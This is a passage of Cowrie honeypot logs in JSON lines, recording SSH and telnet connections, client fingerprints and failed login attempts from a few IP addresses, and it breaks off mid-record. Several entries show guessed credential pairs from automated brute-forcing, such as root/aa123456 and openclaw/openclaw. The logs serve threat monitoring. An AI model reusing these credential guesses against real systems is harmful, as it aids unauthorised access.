{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:56.808284Z","src_ip":"91.92.42.227","session":"adcd61e2022c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60212,"dst_ip":"10.17.0.5","dst_port":22,"session":"4652920c5b3e","protocol":"ssh","message":"New connection: 45.156.87.147:60212 (10.17.0.5:22) [session: 4652920c5b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:57.912944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:57.956232Z","src_ip":"45.156.87.147","session":"4652920c5b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:58.000942Z","src_ip":"45.156.87.147","session":"4652920c5b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:58.324320Z","src_ip":"45.156.87.147","session":"4652920c5b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.0","message":"Connection lost after 19.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:58.764934Z","src_ip":"91.92.42.227","session":"f91fbe117d48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:59.408687Z","src_ip":"45.156.87.147","session":"4652920c5b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38604,"dst_ip":"10.17.0.5","dst_port":22,"session":"922737ba8536","protocol":"ssh","message":"New connection: 91.92.42.227:38604 (10.17.0.5:22) [session: 922737ba8536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:00.468866Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":54360,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5a18e6b36a4","protocol":"ssh","message":"New connection: 103.252.123.105:54360 (159.203.135.109:22) [session: d5a18e6b36a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:01.325120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:01.329408Z","src_ip":"103.252.123.105","session":"d5a18e6b36a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:01.555082Z","src_ip":"103.252.123.105","session":"d5a18e6b36a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presence","password":"presence","message":"login attempt [presence/presence] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:02.499718Z","src_ip":"103.252.123.105","session":"d5a18e6b36a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38916,"dst_ip":"10.17.0.5","dst_port":22,"session":"12a2c51bc4ef","protocol":"ssh","message":"New connection: 45.156.87.147:38916 (10.17.0.5:22) [session: 12a2c51bc4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:03.072406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:03.078130Z","src_ip":"45.156.87.147","session":"12a2c51bc4ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:03.099122Z","src_ip":"91.92.42.227","session":"8d744a812b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:03.161384Z","src_ip":"45.156.87.147","session":"12a2c51bc4ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"frank","message":"login attempt [frank/frank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:03.415870Z","src_ip":"45.156.87.147","session":"12a2c51bc4ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:03.727947Z","src_ip":"103.252.123.105","session":"d5a18e6b36a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:04.539583Z","src_ip":"45.156.87.147","session":"12a2c51bc4ef","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:04.742175Z","src_ip":"91.92.42.227","session":"922737ba8536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:04.745934Z","src_ip":"91.92.42.227","session":"922737ba8536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.0","message":"Connection lost after 21.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:07.415341Z","src_ip":"91.92.42.227","session":"8d744a812b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49150,"dst_ip":"10.17.0.5","dst_port":22,"session":"4032374ed71d","protocol":"ssh","message":"New connection: 91.92.42.227:49150 (10.17.0.5:22) [session: 4032374ed71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:08.042642Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38932,"dst_ip":"10.17.0.5","dst_port":22,"session":"07ecfcbf0d6d","protocol":"ssh","message":"New connection: 45.156.87.147:38932 (10.17.0.5:22) [session: 07ecfcbf0d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:08.162696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:08.169791Z","src_ip":"45.156.87.147","session":"07ecfcbf0d6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:08.251535Z","src_ip":"45.156.87.147","session":"07ecfcbf0d6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:08.592902Z","src_ip":"45.156.87.147","session":"07ecfcbf0d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:09.677174Z","src_ip":"45.156.87.147","session":"07ecfcbf0d6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:10.340851Z","src_ip":"91.92.42.227","session":"adcd61e2022c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:10.802575Z","src_ip":"91.92.42.227","session":"4032374ed71d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:10.805789Z","src_ip":"91.92.42.227","session":"4032374ed71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37672,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c8ac88a79b","protocol":"ssh","message":"New connection: 45.156.87.147:37672 (10.17.0.5:22) [session: 57c8ac88a79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:13.248089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:13.254706Z","src_ip":"45.156.87.147","session":"57c8ac88a79b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:13.334240Z","src_ip":"45.156.87.147","session":"57c8ac88a79b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:13.656897Z","src_ip":"45.156.87.147","session":"57c8ac88a79b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49194,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce464995e379","protocol":"ssh","message":"New connection: 91.92.42.227:49194 (10.17.0.5:22) [session: ce464995e379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:14.296799Z"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:14.323163Z","src_ip":"91.92.42.227","session":"adcd61e2022c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:14.740968Z","src_ip":"45.156.87.147","session":"57c8ac88a79b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45802,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3df5b601ee3","protocol":"telnet","message":"New connection: 128.199.8.54:45802 (159.203.135.109:23) [session: c3df5b601ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:16.671079Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:18.018958Z","src_ip":"91.92.42.227","session":"922737ba8536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37678,"dst_ip":"10.17.0.5","dst_port":22,"session":"77c1d64ead83","protocol":"ssh","message":"New connection: 45.156.87.147:37678 (10.17.0.5:22) [session: 77c1d64ead83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:18.231857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:18.237142Z","src_ip":"45.156.87.147","session":"77c1d64ead83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-